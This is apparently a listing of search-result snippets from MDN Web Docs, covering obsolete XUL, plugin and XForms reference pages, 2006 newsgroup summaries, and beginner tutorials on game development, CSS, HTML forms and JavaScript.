<vbox> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll around the big content in the small view space.
... <vbox flex="1" style="overflow:auto"> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the flex="1" above may or may not be needed, or even desired.
tooltip - Archive of obsolete content
moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates).
... sizeto( width, height ) return type: no return value changes the current size of the popup to the new width and height.
Components - Archive of obsolete content
place after a new component has been written it must be placed in the app/components/ directory (not xulrunner/components/).
...for new components or interface changes of existing ones to be noticed at all, you need to change the buildid in application.ini to trigger a re-registration of the components.
Debugging a XULRunner Application - Archive of obsolete content
xulrunner will then notice the new components file.
... note the "new in firefox 3" attribute "contentaccessible" on https://developer.mozilla.org/en/chrome_registration so as per http://markmail.org/message/ezbomhkw3bgqjllv#query:x-jsd+page:1+mid:xvlr7odilbyhn6v7+state:results change the manifest to have this line: content venkman jar:venkman.jar!/content/venkman/ contentaccessible=yes i get errors about not being able to open contentareautils.js, contentareadd...
Dialogs in XULRunner - Archive of obsolete content
here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/content/dialog.xul", "newdlg", "modal"); } the resulting dialog looks like this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related attributes on the element.
...newer releases will allow using preferences to switch to a xul emulation filepicker, if you want to.
toolkit.singletonWindowType - Archive of obsolete content
preference type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.singletonwindowtype", "xulmine"); by default, the toolkit.defaultchromeuri preference will cause xulrunner to open a new main application window each time an application is invoked.
...if such a window is found, it will be re-used, otherwise a new window will be opened.
XUL Explorer - Archive of obsolete content
double-click or drag-and-drop to insert a snippet file > new allows user to pick any “template” snippet, as well as blank.
... installs latest version: install (windows): xulexplorer-1.0a1pre.en-us.win32.exe 6.6mb install (mac): xulexplorer-1.0a1pre.en-us.mac.dmg 9.3mb install (linux): xulexplorer-1.0a1pre.en-us.linux-i686.tar.bz2 8.4mb contributing source code in svn bugzilla (for bugs and suggestions) open bugs, enter new bug blog posts xul explorer - updated (1.0a1pre) xul explorer 0.4 xul explorer 0.3 xul explorer 0.2 exploring xul ...
reftest opportunities files - Archive of obsolete content
if you have questions, please post to the mozilla.dev.quality newsgroup on news.mozilla.org (see at google groups).
...er/htmlparser/tests/html/pre002.html parser/htmlparser/tests/html/pre001.html parser/htmlparser/tests/html/param002.html parser/htmlparser/tests/html/param001.html parser/htmlparser/tests/html/option.html parser/htmlparser/tests/html/obj003.html parser/htmlparser/tests/html/obj002.html parser/htmlparser/tests/html/obj001.html parser/htmlparser/tests/html/nulltest.html parser/htmlparser/tests/html/newlines.html parser/htmlparser/tests/html/list003.html parser/htmlparser/tests/html/list002.html parser/htmlparser/tests/html/list001.html parser/htmlparser/tests/html/layer01.html parser/htmlparser/tests/html/layer003.html parser/htmlparser/tests/html/layer002.html parser/htmlparser/tests/html/layer001.html parser/htmlparser/tests/html/java.html parser/htmlparser/tests/html/insdel02.html parser/htm...
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding.
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss new features or talk with other nvda users.
... new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox".
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for this week discussions issues with 2.0 features there's renewed discussion on why certain features were removed in the 2.0 release, and the addition of support for s/mime and not pgp/gpg encryption.
... additional links: bug 22687 and original newsgroup thread.
2006-10-13 - Archive of obsolete content
he has disabled xft and has tried looking at related postings by benjamin smedberg gcc-40-workarounds and gcc-and-visibility-one-step-forward-hit-a-brick-wall announcements please help us test the new tinderbox and bonsai server installations paul reed announced that they are setting up a new installation of the tinderbox and bonsai servers onto new, supported hardware.
... new tinderbox installation new bonsai installation if any inconsistencies are found please use bugzilla to let them know discussions there were no discussions this week.
2006-10-27 - Archive of obsolete content
nick stated that the build engineers knew that there was a problem with the tinderbox and that they would be solving the problem by adding a hard disk, and moving all or part of the concerned filesystem there.
... october 27: alex responded to peter weilbacher posting stating that he is going to look for a solaris newsgroup because he is not sure how to check if the library is installed or where to get the packages.
mozilla-dev-extensions - Archive of obsolete content
weekly summaries 2006-09-29 2006-10-06 2006-10-13 2006-10-20 2006-10-27 2006-11-03 2006-11-10 2006-11-17 2006-11-24 2006-12-01 2006-12-08 weekly faq week 2006-09-29 questions and answers from the newsgroup week 2006-10-06 questions and answers from the newsgroup week 2006-10-13 questions and answers from the newsgroup week 2006-10-20 questions and answers from the newsgroup week 2006-10-27 questions and answers from the newsgroup week 2006-11-03 questions and answers from the newsgroup week 2006-11-10 questions and answers from the newsgroup week 2006-11-17 questions and answers from the newsgroup week 2006-11-24 questions and answers from the newsgroup week 2006-12-01 questions and answers from the newsgroup week 2006-12-08 questions a...
...nd answers from the newsgroup ...
2006-10-06 - Archive of obsolete content
test resumt will be found here another lightning localization update with some bad news difference has been located between sunbird_0_3_branch (for sunbird 0.3) and mozilla_1_8_branch.
... mozillatranslator 5.13 rfes new version of mozillatranslator will be relaesed in a few weeks.
2006-12-01 - Archive of obsolete content
m.d.planning and dev news blog are suggested.
... this newsgroup or "governance"?
2006-09-22 - Archive of obsolete content
discussions mozilla.org/js points to wrong newsgroup david p.
... caldwell has noted that the main javascript site on mozilla.org is sending people to the wrong newsgroup.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 28 - november 3, 2006 announcements new reflow branch off of trunk l.
... david baron announced that he merged the reflow branch to a new branch (reflow_20061031_branch) off of the trunk.
2006-10-20 - Archive of obsolete content
neil notes that the format of localstore has changed from previous versions and that "persist" is not functioning properly using the new format.
...the bug number has not been posted to the newsgroup and searching in bugzilla was unsuccessful.
NPN_DestroyStream - Archive of obsolete content
this stream can be either a stream that the browser created and passed to the plug-in in npp_newstream(), or a stream created by the plug-in through a call to npn_newstream().
... see also npp_destroystream() npn_newstream() npp_newstream() npstream npp ...
NPN_GetURLNotify - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary requests creation of a new stream with the contents of the specified url; gets notification of the result.
...can be of any type, such as http, ftp, news, or mailto.
NPN_RequestRead - Archive of obsolete content
seekable streams are created by calling npp_newstream() with np_seek as the stype mode.
...see also npp_newstream() npp_writeready() npp_write() npstream ...
NPN_SetValue - Archive of obsolete content
description a good place to set plugin operation mode such as windowless mode is npp_new, so the browser knows right away what mode the plugin is designed to operate in.
...} so the proper way to call this function from a plug-in would be: bool bwindowed = false; npn_setvalue(npp, nppvpluginwindowbool, ( void *)bwindowed); see also npp_new, npn_getvalue, npp_setvalue, npp_getvalue ...
NPP - Archive of obsolete content
description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new().
...see also npp_new() npp_destroy() ...
NPP_StreamAsFile - Archive of obsolete content
npp_streamasfile is called for streams whose mode is set to np_asfileonly or np_asfile only in a previous call to npp_newstream.
... see also npp_newstream, npp_write, npp_writeready, npstream, npp ...
NPP_Write - Archive of obsolete content
after a stream is created by a call to npp_newstream, the browser calls npp_write either: if the plug-in requested a normal-mode stream, the data in the stream is delivered to the plug-in instance in a series of calls to npp_writeready and npp_write.
...in a seekable stream with byte range requests, you can use this parameter to track npn_requestread requests.see also npp_destroystream, npp_newstream, npp_writeready, npstream, npp ...
NPSavedData - Archive of obsolete content
if the user revisits a web page that contains a plug-in, the browser returns the npsaveddata to the new instance of the plug-in in a call to npp_new().
...see also npp_new() npp_destroy() ...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
one of the new features that is available in firefox 1.5 is the ability to place browser plugins in a toolkit bundle.
... the unpack property is necessary to tell applications using newer versions of gecko to unpack the plugin because dlls can't be loaded from xpi files.
The First Install Problem - Archive of obsolete content
this document proposes a meta-information model in the win32 registry similar to the one used by microsoft's hkey_classes_root\clsid\ where a new activex control (ocx) on the system presents its uuid as a registry key (identifying the activex control) as well as information about where to find the ocx (e.g.
... add the following values to the newly created key -- some are string values (reg_sz), and some are actually subkeys.
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
the use of the xt mainloop has been a problem for modern plugin development because very few modern applications that want to take advantage of the capabilities of newer toolkits use xt.
...in your plugin instance npp_getvalue call you need to make sure that you support the new nppvpluginneedsxembed value.
Plugins - Archive of obsolete content
scripting plugins (npruntime) this reference describes the new cross-browser npapi extensions that let plugins be scriptable and also let them access the script objects in the browser.
... categories interwiki language links join the plugin development community choose your preferred method for joining the discussion: mailing list newsgroup rss feed ...
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
producers of rssshould not be creating rss 0.90 feeds, andshould instead use a newer non-deprecated rss format.
...el> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <url>http://www.mozilla.org/images/moz.gif</url> <link>http://www.mozilla.org</link> </image> <item> <title>new status updates</title> <link>http://www.mozilla.org/status/</link> </item> <item> <title>bugzilla reorganized</title> <link>http://www.mozilla.org/bugs/</link> </item> <item> <title>mozilla party, 2.0!</title> <link>http://www.mozilla.org/party/1999/</link> </item> <item> <ti...
RSS - Archive of obsolete content
(some being based on rdf, but most only being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating news, blog posts, ipradio, and iptv, with an amazing amount of momentum.
... mailing list newsgroup rss feed related topics rdf, xml ...
Digital Signatures - Archive of obsolete content
it then uses the same hashing algorithm that generated the original hash to generate a new one-way hash of the same data.
... (information about the hashing algorithm used is sent with the digital signature, although this isn't shown in the figure.) finally, the receiving software compares the new hash against the original hash.
NSPR Release Engineering Guide - Archive of obsolete content
feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag t...
...he tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
Theme changes in Firefox 3.5 - Archive of obsolete content
if you don't want the shadow, you can turn it off by setting the new -moz-window-shadow css property to none on the affected element.
... browser.xul bug 463189 added a new attribute on the xul window element of browser.xul named browsingmode.
Developing cross-browser and cross-platform pages - Archive of obsolete content
as new browsers are released, it becomes necessary to make updates to such code which attempts to narrow down the browser and browser version and to make the appropriate switches.
... more on object/feature support detection: a strategy that works: object/feature detecting by comp.lang.javascript newsgroup faq notes browser detection - no; object detection - yes by peter-paul koch also good http://developer.mozilla.org/docs...rowser_support but outdated in my opinion ...
The global XML object - Archive of obsolete content
« previous the global xml object e4x-capable javascript engines put a new property on the global object.
...when true, toxmlstring() includes newlines and indenting for the serialization of e4x objects.
Date.prototype.toLocaleFormat() - Archive of obsolete content
see also the newer version of date.prototype.tolocaledatestring().
... examples using tolocaleformat() var today = new date(); var date = today.tolocaleformat('%a, %b %e, %y'); in this example, tolocaleformat() returns a string such as "wednesday, october 3, 2007".
Enumerator - Archive of obsolete content
syntax enumobj = new enumerator([collection]) parameters enumobj the variable name to which the enumerator object is assigned.
... example the following code shows the usage of the enumerator object: var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); document.write(fso.drives); var e = new enumerator(fso.drives); var drivestring = ""; e.movefirst(); while (e.atend() == false) { var drv = e.item(); drivestring += drv.path + " - "; if (drv.isready){ var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; drivestring += freegb.tofixe...
GetObject - Archive of obsolete content
if pathname is a zero-length string (""), getobject returns a new object instance of the specified type.
...in the preceding example, you access properties and methods of the new object using the object variable myobject.
VBArray - Archive of obsolete content
syntax varname = new vbarray(safearray) parameters varname the variable name to which the vbarray is assigned.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k document.writeln(k) k = k + 1 next document.writeln("<br />") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vbarray){ var a = new vbarray(vbarray); var b = a.toarray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/javascript"> <!-- vbarraytest(createvbarray()); --> </script> </body> properties the vbarray object has no properties.
ECMAScript 5 support in Mozilla - Archive of obsolete content
see new in javascript 1.8.5.
... added in javascript 1.6 (gecko 1.8, firefox 1.5) new array methods offering several improved methods for manipulating arrays -- have been part of javascript since javascript 1.6.
LiveConnect - Archive of obsolete content
mailing list newsgroup rss feed related topics javascript, plugins older notes (please update or remove as needed.) while the bloated liveconnect code in the mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former api has been restored (see also the specification and this thread) (building on npapi?), and as of java 6 update 12, extensions as w...
...by writing code like "new java.lang.string('javascript string')" for classes in the java.* package hierarchy, or using a new "packages" object for classes outside this hierarchy).
ParallelArray - Archive of obsolete content
syntax new parallelarray() new parallelarray([element0, element1, ...]) new parallelarray(arraylength, elementalfunction) parallelarray instances properties length reflects the number of elements in the parallelarray.
... methods map reduce scan scatter filter flatten partition get examples using map in parallel var p = new parallelarray([0, 1, 2, 3, 4]); var m = p.map(function (v) { return v + 1; }); ...
RDF: Resource Description Framework for metadata - Archive of obsolete content
ArchiveWebRDF
documentation directions of the mozilla rdf engine this presentation shows new developments in the mozilla rdf engine.
... mailing list newsgroup rss feed rdf-dev mailing list tools rdf editors and tools rdf validator related topics xml categories interwiki language links ...
Window.importDialog() - Archive of obsolete content
instead of opening a new window, it merges the specified xul dialog into the main window.
... syntax newdialog = importdialog(aparent, asrc, aarguments) newdialog the opened window aparent the dialog's parent; can be null.
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, forums, or other communities related to xforms, please link to them here.
... mailing list newsgroup rss feed irc channel w3c forms mailinglist xforms development blog ...
XForms Custom Controls Examples - Archive of obsolete content
"chrome://xforms/content/xforms-xhtml.xml#xformswidget-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtml:div> <children/> </content> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!this._domparser) this._domparser = new domparser(); return this._domparser; </getter> </property> <method name="refresh"> <body> // get new value, parse, and import it.
... var val = this.stringvalue; var newdom = this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
Troubleshooting XForms Forms - Archive of obsolete content
ensure that your <html> element contains the supported namespace declaration: xmlns="http://www.w3.org/1999/xhtml" (instead of the newer, unratified version, xhtml 2.0, located at http://www.w3.org/2002/06/xhtml2 ) inline instance, no controls get bound have you remembered to use the correct namespace for the instance nodes?
...if you are developing on your local machine using apache tomcat for example then add the following regular expression on a new line: ^http://localhost:8080/.* use the xforms buddy to view instance data the xforms buddy extension allows you to dynamically view model instance data while the xforms is running in the firefox browser.
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
you can do so by posting a message on the xforms newsgroup or file a new bug in the 'xforms' component of the 'core' product.
...now we need to start teaching xforms to web newcomers before they are brainwashed into believing that the only way to build cool web apps is to do dom surgery with javascript!
XForms Repeat Element - Archive of obsolete content
<my:line name="a"> <my:price>3.00</my:price> </my:line> <my:line name="b"> <my:price>32.25</my:price> </my:line> </my:lines> </instance> </model> <repeat id="lineset" nodeset="/my:lines/my:line"> <input ref="my:price"> <label>line item</label> </input> <input ref="@name"> <label>name</label> </input> </repeat> <trigger> <label>insert a new item after the current one</label> <action ev:event="domactivate"> <insert nodeset="/my:lines/my:line" at="index('lineset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivat...
...here comes the output: <br/> <xf:output ref="@id"><xf:label>output: </xf:label></xf:output> <div xf:repeat-nodeset="nest"><xf:output ref="."><xf:label>nested output: </xf:label></xf:output></div> </div> repeat in anonymous content (usage in xbl) you can use repeat elements inside anonymous content to create powerful new widgets.
Parsing microformats in JavaScript - Archive of obsolete content
firefox 3 introduces a new api for managing and parsing microformats.
...this api is primarily intended to be used when implementing new microformats.
Web Standards - Archive of obsolete content
sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as new internet devices come to market.
... mailing list newsgroup rss feed the web standards project webdev feedhouse other community links...
Publishing games - Game development
game distribution provides all you need to know about the ways you can distribute your newly created game into the wild — including hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store.
...there are many game promotion techniques — many of them free — so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
WebVR — Virtual Reality for the Web - Game development
the concept of virtual reality in itself isn't new, but now we have the technology to have it working as it should be, and a javascript api to make use of it in web applications.
...for example: function setcustomfov(up,right,down,left) { var testfov = new vrfieldofview(up,right,down,left); ghmd.setfieldofview(testfov,testfov,0.01,10000.0); } the gpositionsensor variable holds the positionsensorvrdevice — using this you can get the current position or orientation state (for example to update the scene view on every frame), or reset the sensor.
Desktop mouse and keyboard controls - Game development
the ondown() function is executed whenever the enter key is pressed — it will launch the clickstart() method, which starts a new game.
... to skip the how to play screen, we can listen for any key being pressed and move on: this.input.keyboard.ondowncallback = function() { if(this.statestatus == 'intro') { this.hideintro(); } }; this hides the intro and starts the actual game, without us having to set up another new key control just for this.
Crisp pixel art look with image-rendering - Game development
original size 4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time.
...o size the canvas and render a crisp image: canvas { width: 512px; height: 512px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; } and some javascript to set up the canvas and load the image: // get canvas context var ctx = document.getelementbyid('game').getcontext('2d'); // load image var image = new image(); image.onload = function () { // draw the image into the canvas ctx.drawimage(image, 0, 0); } image.src = 'https://udn.realityripple.com/samples/11/a2954fe197.png'; this code used together produces the following result: note: you can check out the original code on github (and a live example.) ...
Buttons - Game development
new variables we will need a variable to store a boolean value representing whether the game is currently being played or not, and another one to represent our button.
... adding the button to the game adding the new button to the game is done by using the add.button method.
Initialize the framework - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phas...
...we are initializing it by creating a new phaser.game object and assigning it to the game variable.
Load the assets and print them on screen - Game development
add the following new line just inside the preload() function, at the bottom: function preload() { // ...
... now, to show it on the screen we will use another phaser method called add.sprite(); add the following new code line inside the create() function as shown: function create() { ball = game.add.sprite(50, 50, 'ball'); } this will add the ball to the game and render it on the screen.
Randomizing gameplay - Game development
add this new line to your code now, and try it out.
... function ballhitpaddle(ball, paddle) { ball.animations.play('wobble'); ball.body.velocity.x = -1*5*(paddle.x-ball.x); } it's a little bit of magic — the new velocity is higher, the larger the distance between the center of the paddle and the place where the ball hits it.
The score - Game development
new variables add two new variables right after the previously defined ones: // ...
...this can be done using the settext() method — add the two new lines seen below to the ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); } that's it for now — reload your index.html and check that the score updates on every brick hit.
Visual typescript game engine - Game development
main dependency file // symbolic for now const plarformergameinfo = { name: "crypto-runner", title: "play platformer crypto runner!", }; // symbolic for now const gameslist: any[] = [ plarformergameinfo, ]; const master = new ioc(gameslist); const appicon: appicon = new appicon(master.get.browser); master.singlton(platformer, master.get.starter); console.log("platformer: ", master.get.platformer); master.get.platformer.attachappevents(); project structure builds/ is autogenerated.
... if you wanna insert some new html page just define it intro webpack.config.js : plugins : [ new htmlwebpackplugin({ filename: '/templates/mygamelobby.html', template: 'src/html-components/mygamelobby.html' }), ...
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
syntax // this is a generic default constructor class default function default() { } // this is an overloaded constructor class overloaded // with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascript, use a new operator to assign a new object reference to a variable.
... function default() { } // a new reference of a default object assigned to a // local variable defaultreference var defaultreference = new default(); learn more general knowledge constructor on wikipedia technical reference the constructor in object oriented programming for javascript on mdn new operator in javascript on mdn ...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
the variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered.
... javascript // using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.touppercase(); console.log(bar); // baz // using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // assignment gives the primitive a new (not a mutated) value bar = bar.touppercase(); // baz a primitive can be replaced, but it can't be directly altered.
Shim - MDN Web Docs Glossary: Definitions of Web-related terms
a shim is a piece of code used to correct the behavior of code that already exists, usually by adding new api that works around the problem.
... this differs from a polyfill, which implements a new api that is not supported by the stock browser as shipped.
CSS and JavaScript accessibility best practices - Learn web development
links hyperlinks — the way you get to new places on the web: <p>visit the <a href="https://www.mozilla.org">mozilla homepage</a>.</p> some very simple link styling is shown below: a { color: #ff0000; } a:hover, a:visited, a:focus { color: #a60000; text-decoration: none; } a:active { color: #000000; background-color: #a60000; } the standard link conventions are underlined and a different color (default: blue) in their stan...
...chrome and edge (and newer versions of ie) will focus the element when the link is clicked, without needing the onclick/focus() block.
Beginner's guide to media queries - Learn web development
there are a number of other media features that you can test for, although some of the newer features introduced in level 4 and 5 of the media queries specification have limited browser support.
... lets continue to expand the width until we feel there is enough room for the sidebar to also form a new column.
CSS layout - Learn web development
multiple-column layout the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper.
...this will always be the case on the web — as new features are developed, different browsers will prioritise different things.
Getting started with CSS - Learn web development
e to do this then you would no longer be able to apply the class to a <span> or another element by simply adding the class to it; you would have to add that element to the list of selectors: li.special, span.special { color: orange; font-weight: bold; } as you can imagine, some classes might be applied to many elements and you don't want to have to keep editing your css every time something new needs to take on that style.
... getting started with css how css is structured how css works using your new knowledge ...
How CSS is structured - Learn web development
white space white space means actual spaces, tabs and new lines.
... getting started with css how css is structured how css works using your new knowledge ...
What is the difference between webpage, website, web server, and search engine? - Learn web development
these terms are often confused by newcomers to the web or are incorrectly used.
...in fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!
How do I use GitHub Pages? - Learn web development
creating a repo for your code next, you need to create a new repo for your files to go in.
... click plus (+) in the top right of the github homepage, then choose new repository.
What are hyperlinks? - Learn web development
we'll talk about designing website navigation in another article, but as a rule, whenever you add a new webpage, make sure at least one of your other pages links to that new page.
...when you follow a link pointing to an anchor, your browser jumps to another part of the current document instead of loading a new document.
Basic native form controls - Learn web development
we cover newer form controls added in html5 in the next two articles.
...in the next section, we'll take a look at the newer values of the type attribute that were added in html5.
How to structure a web form - Learn web development
to start with, make a local copy of our blank template file and the css for our payment form in a new directory on your computer.
...these newer input types are reintroduced in the html5 input types.
UI pseudo-classes - Learn web development
content is placed relative to an element's formatting box, but form inputs work more like replaced elements and therefore don't have one), we will add an empty <span> to hang the generated content on: <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> the immediate problem with this was that the span was dropping onto a new line below the input because the input and label are both set with width: 100%.
... to fix this we style the parent <div> to become a flex container, but also tell it to wrap its contents onto new lines if the content becomes too long: fieldset > div { margin-bottom: 20px; display: flex; flex-flow: row wrap; } the effect this has is that the label and input sit on separate lines because they are both width: 100%, but the <span> has a width of 0 so can sit on the same line as the input.
CSS basics - Learn web development
using a text editor, paste the three lines of css (above) into a new file.
...keep adding these new rules at the bottom of style.css.
Define terms with HTML - Learn web development
objective: learn how to introduce new keywords and how to build description lists.
...just as with any new keyword, you should define your abbreviations the first time they occur.
Document and website structure - Learn web development
main content: a big area in the center that contains most of the unique content of a given webpage, for example, the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc.
...usually, this is contextual to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system.
HTML text fundamentals - Learn web development
the basics: headings and paragraphs most structured text consists of headings and paragraphs, whether you are reading a story, a newspaper, a college textbook, a magazine, etc.
... html5 redefined <b>, <i>, and <u> with new, somewhat confusing, semantic roles.
Marking up a letter - Learn web development
create a new .html file using your text editor or use an online tool such as codepen, jsfiddle, or glitch to complete the tasks.
...each line of the address should sit on a new line, but not be in a new paragraph.
General asynchronous programming concepts - Learn web development
-sync.html example (see it running live), we add a click event listener to a button so that when clicked, it runs a time-consuming operation (calculates 10 million dates then logs the final one to the console) and then adds a paragraph to the dom: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { let mydate; for(let i = 0; i < 10000000; i++) { let date = new date(); mydate = date } console.log(mydate); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); when running the example, open your javascript console then click the button — you'll notice that the paragraph does not appear until after the dates have finished being calculated and the console mes...
...as you use newer and more powerful apis, you'll find more cases where the only way to do things is asynchronously.
Image gallery - Learn web development
looping through the images we've already provided you with lines that store a reference to the thumb-bar <div> inside a constant called thumbbar, create a new <img> element, set its src attribute to a placeholder value xxx, and append this new <img> element inside thumbbar.
... adding an onclick handler to each thumbnail image in each loop iteration, you need to add an onclick handler to the current newimage — this handler should find the value of the src attribute of the current image.
Looping code - Learn web development
for each iteration, create a new paragraph and append it to the output <div>, which we've selected using const output = document.queryselector('.output');.
... in comments, we've provided you with three code lines that need to be used somewhere inside the loop: const para = document.createelement('p'); — creates a new paragraph.
Video and Audio APIs - Learn web development
our finished example will look (and function) something like the following: getting started to get started with this example, download our media-player-start.zip and unzip it into a new directory on your hard drive.
... create a new javascript file in the same directory level as your index.html file.
Handling text — strings in JavaScript - Learn web development
this is a newer syntax that provides more flexible, easier to read strings.
... another point to note is that if you want to split a traditional string over multiple lines, you need to include a newline character, \n: output = 'i like the song "' + song + '".\ni gave it a score of ' + (score/highestscore * 100) + '%.'; template literals respect the line breaks in the source code, so newline characters are no longer needed.
Test your skills: Arrays - Learn web development
then add a new item to the beginning of the array.
... add two new names to the end of the array.
Storing the information you need — Variables - Learn web development
so, let was created in modern versions of javascript, a new keyword for creating variables that works somewhat differently to var, fixing its issues in the process.
...in modern javascript, we have the keyword const, which lets us store values that can never be changed: const daysinweek = 7; const hoursinday = 24; const works in exactly the same way as let, except that you can't give a const a new value.
The business case for web performance - Learn web development
performance budgets help developer teams protect optimal performane for users while enabling the business to tap into new markets and deliver custom experiences.
...here are some kpis to consider: conversion rate the percent of your traffic that takes an intended action, such as completing a purchase or signing up for a newsletter.
The "why" of web performance - Learn web development
for example, this might be making a purchase, reading an article, or subscribing to a newsletter.
... here's some real-world examples of performance improvements: tokopedia reduced render time from 14s to 2s for 3g connections and saw a 19% increase in visitors, 35% increase in total sessions, 7% increase in new users, 17% increase in active users and 16% increase in sessions per user.
Framework main features - Learn web development
it's run every time the browser needs to render something new, whether that new information is an addition to what's in the browser, a deletion, or an edit of what’s there.
